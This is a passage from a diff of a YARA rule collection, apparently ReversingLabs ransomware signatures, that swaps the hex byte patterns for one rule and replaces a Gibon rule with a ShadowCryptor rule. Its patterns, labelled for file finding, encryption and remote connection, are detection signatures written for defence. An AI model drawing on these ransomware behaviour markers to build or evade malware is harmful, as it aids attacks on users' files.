+            ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 0D 00 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ??
+            6F ?? ?? ?? ?? 2D ?? 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D
+            ?? 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 07 6F ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 07 6F ?? ?? ?? ?? 6F
         }
-		$bc_do_files_2 = {
-            8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 FF 75 7E F6 85 ?? ?? ?? ?? ?? 74 64 8B 85 ?? ?? ?? ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 74 52 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 40 FF 36 FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B
-            C6 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 8B C6 8B 55 ?? E8 57 FE FF FF 59 84 C0 75 04 33 DB EB 21 8B 55 ?? 42 8B C6
-            B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 FF 74 82 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0
-            5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3
+		$find_files_p2 = {
+            72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 16 FE 01 2B ?? 16 00 13 ?? 11 ?? 2D ?? 38 ?? ?? ?? ?? 00 00 09 72 ?? ?? ??
+            ?? 17 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 0C 00 00
+            08 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? ?? ?? ??
+            6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 6F ?? ??
+            ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A
         }
-		$bc_main_1 = {
-            55 8B EC B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 F9 53 56 57 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64
-            89 20 33 C0 A3 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ??
-            ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ??
-            ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ??
-            ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 8D 45 ?? 8B 0D ?? ?? ?? ??
-            8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 75 7A 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B
+		$find_files_p3 = {
+            6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 00 6F
+            ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ??
+            ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 16 FE 01 2B ?? 16 00 13 ?? 11 ?? 2D ?? DD ?? ?? ?? ?? 08 6F ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 2C ?? 08 6F ?? ?? ?? ?? 6C 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 23 ?? ??
+            ?? ?? ?? ?? ?? ?? 5A 23 ?? ?? ?? ?? ?? ?? ?? ?? 5A 35 ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ??
+            28 ?? ?? ?? ?? 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 06 08 6F ?? ?? ?? ?? 6F ?? ??
+            ?? ?? 00 00 2B ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ??
+            28 ?? ?? ?? ?? 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 06 08 6F ?? ?? ?? ?? 6F ?? ??
+            ?? ?? 00 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 00 00 00 11 ?? 6F ?? ?? ?? ?? 13 ??
+            11 ?? 3A ?? ?? ?? ?? DE ?? 11 ?? 14 FE 01 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 DC
+            00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 00 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 3A ??
+            ?? ?? ?? DE ?? 11 ?? 14 FE 01 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 00 00 DE ??
+            26 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 00 06 13 ?? 2B ?? 11 ?? 2A
         }
-		$bc_main_2 = {
-            15 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8D 45 ?? 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ??
-            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 33 C0 E8 ?? ?? ?? ?? 8B 45 ?? 50 8D 45 ?? 8B 0D ?? ?? ?? ?? 8B 15
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 58 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB 11 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B D8 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 80 FB ?? 0F 85 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? B2 ?? A1 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 75 ED A1 ?? ?? ?? ?? 8B 10 FF 52 ?? 83 F8 ?? 0F
-            8E ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 10 FF 52 ?? 99 F7 3D ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 10 FF 52 ?? 99 F7 3D
-            ?? ?? ?? ?? 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 48 85 C0 7C ?? 40 89 45 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ??
+		$encrypt_files = {
+            73 ?? ?? ?? ?? 13 ?? 11 ?? 03 7D ?? ?? ?? ?? 11 ?? 04 7D ?? ?? ?? ?? 11 ?? 05 7D ?? ??
+            ?? ?? 11 ?? 0E ?? 7D ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 6F ?? ?? ?? ??
+            80 ?? ?? ?? ?? 02 16 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 13 ?? 11 ?? 2D ?? 00 28
+            ?? ?? ?? ?? 0A 06 8E 69 16 FE 02 16 FE 01 13 ?? 11 ?? 2D ?? 00 16 0B 2B ?? 00 06 07 9A
+            6F ?? ?? ?? ?? 16 FE 01 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? ?? 06 07 9A 6F ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? ?? 06 07 9A 6F ?? ?? ?? ?? 6F ?? ?? ?? ??
+            00 00 00 00 07 17 58 0B 07 06 8E 69 FE 04 13 ?? 11 ?? 2D ?? 00 00 2B ?? 00 16 0B 2B ??
+            00 7E ?? ?? ?? ?? 02 07 9A 6F ?? ?? ?? ?? 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? ?? 02 07 9A
+            6F ?? ?? ?? ?? 00 00 00 07 17 58 0B 07 02 8E 69 FE 04 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ??
+            ?? 72 ?? ?? ?? ?? 00 6F ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ??
+            16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 00 6F ?? ?? ??
+            ?? 26 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 14 0D 73 ?? ?? ?? ?? 13
+            ?? 11 ?? 11 ?? 7D ?? ?? ?? ?? 11 ?? 12 ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 00 7E ?? ?? ??
+            ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 13 ?? 11 ?? 2D ?? 00 09 2D ?? 11 ?? FE 06 ??
+            ?? ?? ?? 73 ?? ?? ?? ?? 0D 2B ?? 09 73 ?? ?? ?? ?? 0C 08 1A 6F ?? ?? ?? ?? 00 08 16 6F
+            ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 00 2B ?? 00 11 ?? 7B ?? ?? ??
+            ?? 11 ?? 7B ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ??
+            28 ?? ?? ?? ?? 00 00 00 12 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE
+            16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 00 00 2A
         }
-		$bc_main2 = {
-            E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 45 ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D
-            ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
+		$remote_connection = {
+            00 00 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 19 6F ?? ?? ?? ??
+            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 07 02 28 ?? ?? ?? ?? 06 28 ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 06 28 ?? ?? ?? ?? 0C DE ?? 26 00 00 DE ?? 00 7E ??
+            ?? ?? ?? 0C 2B ?? 00 08 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($bc_main_1 at pe.entry_point) and $bc_main_2 and $bc_main2 and $bc_bcdedit and $bc_enum_drives_a_z and $bc_do_extensions_1 and $bc_do_extensions_2 and $bc_do_files_1 and $bc_do_files_2
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($encrypt_files) and ($remote_connection)
 }
-rule REVERSINGLABS_Win32_Ransomware_Gibon : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Shadowcryptor : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Gibon ransomware."
+		description = "Yara rule that detects ShadowCryptor ransomware."
 		author = "ReversingLabs"
-		id = "3f1a5bee-8fc0-5596-b898-e97073731930"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "983e8927-4829-540f-9697-886226fd54ce"
+		date = "2021-02-11"
+		modified = "2021-02-11"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Gibon.yara#L1-L122"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "cace0f35529307487f39aace6ae8989c7b878f82ebe890b256dfac563551a099"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.ShadowCryptor.yara#L1-L89"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "875150db9fc36cd992988bba7d0c05487418b901980bf428ebd427c82fbcacd7"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -28955,116 +30761,81 @@ rule REVERSINGLABS_Win32_Ransomware_Gibon : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Gibon"
+		tc_detection_name = "ShadowCryptor"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$remote_server_connection_1_0 = {
-            53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ??
-            ?? 64 A1 ?? ?? ?? ?? 50 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45
-            ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85
-            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ??
-            ?? ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ??
-            6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 B9 ?? ?? ?? ?? 83 FE ?? 75 ?? BA ?? ?? ?? ?? E9
-            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ??
-            FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? 6A ?? 66 89 85 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 56 FF 15 ?? ?? ?? ?? 8B
-            3D ?? ?? ?? ?? 85 C0 79 ?? FF D7 50 51 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            83 C4 ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B 43 ??
-            83 C0 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ??
-            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 83 7B ?? ?? 8D 43 ?? FF 73 ?? 0F 43 43 ?? 8D 8D ?? ?? ?? ??
-            50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8
-        }
-		$remote_server_connection_1_1 = {
-            E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ??
-            ?? ?? ?? 8B 53 ?? 8D 4B ?? 83 FA ?? 0F 43 4B ?? 8D 41 ?? 89 85 ?? ?? ?? ?? 90 8A 01
-            41 84 C0 75 ?? 2B 8D ?? ?? ?? ?? 8D 43 ?? 6A ?? 83 FA ?? 51 0F 43 43 ?? 50 56 FF 15
-            ?? ?? ?? ?? 85 C0 79 ?? FF D7 50 51 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
-            C4 ?? 8B C8 E8 ?? ?? ?? ?? EB ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ??
-            83 F8 ?? 0F 85 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? BE ?? ?? ?? ?? 8B 43 ?? 83 F8 ?? 72 ?? 8B 4B ?? 40 3D ?? ?? ?? ?? 72
-            ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82
-            ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 8B 4D
-            ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D 8B E3 5B C3
-        }
-		$encryption_loop_1_0 = {
-            66 8B 01 66 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EE ?? 75 ?? C6 85 ?? ?? ?? ?? ?? E9 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 8B 51 ?? 83 CA ??
-            8B C2 83 C8 ?? 83 79 ?? ?? 0F 45 C2 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 32 C0 0F 85 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 C7 45 ?? ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? 83 CB ?? 68 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? 8B D7 8B 9D ?? ?? ?? ?? 83 CB ?? 83 7F ?? ?? 89 9D ?? ?? ?? ?? 89
-            9D ?? ?? ?? ?? 72 ?? 8B 17 83 78 ?? ?? 8B C8 72 ?? 8B 08 8B 70 ?? 3B 77 ?? 75 ?? 85
-            F6 0F 84
+		$find_files = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? 8D 45 ?? 83 7D ?? ?? 0F 57 C0 66 0F 13 85 ?? ?? ?? ?? 0F 43 45 ?? 50 8D 85
+            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B
+            BD ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? EB ??
+            8D A4 24 ?? ?? ?? ?? 90 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D3 85 C0 0F 84 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D3 85 C0 0F 84 ?? ?? ?? ?? 33 C0 83 7D
+            ?? ?? 66 89 85 ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 85
+            ?? ?? ?? ?? 83 F8 ?? 74 ?? A8 ?? 74 ?? 50 8D 85 ?? ?? ?? ?? 50 51 8B 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? EB ?? 51 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 51 8B 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 83 C7 ?? 83 D6 ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ??
+            ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83
+            7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D6 8B C7 8B 4D ?? 64 89 0D ?? ??
+            ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
         }
-		$encryption_loop_1_1 = {
-            66 8B 01 66 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EE ?? 75 ?? C6 85 ?? ?? ?? ?? ?? EB ??
-            32 C0 74 ?? C6 85 ?? ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? F6 C3 ?? 74 ?? 83 E3 ??
-            8D 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 ?? 83 E3 ?? 8D 8D ??
-            ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 ?? 83 E3 ?? 8D 8D ?? ?? ?? ??
-            89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 ?? 83 E3 ?? 8D 8D ?? ?? ?? ?? 89 9D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 32 C0 75 ?? 83 E3 ?? 8D 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 32 C0 C7 45 ?? ?? ?? ?? ?? 75 ?? 83 E3 ?? 8D 8D ?? ?? ?? ?? 89 9D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 51 FF B5 ?? ?? ?? ?? BA
-            ?? ?? ?? ?? C6 45 ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15
-            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 95
+		$encrypt_files = {
+            55 8B EC 83 E4 ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ??
+            33 C4 89 44 24 ?? 53 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 44 24 ?? 64 A3 ?? ?? ?? ?? 8B
+            F1 8D 46 ?? 50 8D 4E ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ??
+            ?? ?? ?? 66 89 44 24 ?? 89 44 24 ?? 39 46 ?? 0F 84 ?? ?? ?? ?? 8D A4 24 ?? ?? ?? ??
+            80 7E ?? ?? 0F 85 ?? ?? ?? ?? 51 8D 44 24 ?? 50 8D 44 24 ?? 50 8D 4E ?? E8 ?? ?? ??
+            ?? 8B C8 E8 ?? ?? ?? ?? 8B D0 8B 02 85 C0 74 ?? 8B 00 8B 48 ?? 8B 40 ?? 49 23 4A ??
+            8B 04 88 8D 4C 24 ?? 3B C8 74 ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 46 ?? 8B 4E ?? 48
+            03 C8 8B 46 ?? 48 23 C8 8B 46 ?? 8B 3C 88 83 7F ?? ?? 72 ?? FF 37 E8 ?? ?? ?? ?? 83
+            C4 ?? 33 C0 C7 47 ?? ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 66 89 07 FF 4E ?? 75 ?? 89 46
+            ?? 83 EC ?? 8B CC 6A ?? 89 41 ?? 33 C0 C7 41 ?? ?? ?? ?? ?? 50 66 89 01 8D 44 24 ??
+            50 E8 ?? ?? ?? ?? 51 8B CE E8 ?? ?? ?? ?? 8B C8 0B CA 74 ?? 01 46 ?? 11 56 ?? 83 7C
+            24 ?? ?? 8D 54 24 ?? 0F 43 54 24 ?? 83 EC ?? 8B FC 33 C0 C7 47 ?? ?? ?? ?? ?? C7 47
+            ?? ?? ?? ?? ?? 66 89 07 66 39 02 74 ?? 8B C2 8D 48 ?? 89 4C 24 ?? 66 8B 08 83 C0 ??
+            66 85 C9 75 ?? 2B 44 24 ?? D1 F8 50 52 8B CF E8 ?? ?? ?? ?? 8B 4E ?? 83 79 ?? ?? 8D
+            41 ?? 72 ?? 8B 00 8B 91 ?? ?? ?? ?? 81 C1 ?? ?? ?? ?? 83 79 ?? ?? 72 ?? 8B 09 50 E8
+            ?? ?? ?? ?? 83 C4 ?? 83 7E ?? ?? 0F 85 ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? FF 74 24 ??
+            E8 ?? ?? ?? ?? 83 C4 ?? 8B 4C 24 ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4C 24 ?? 33
+            CC E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$encryption_loop_1_2 = {
-            57 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ??
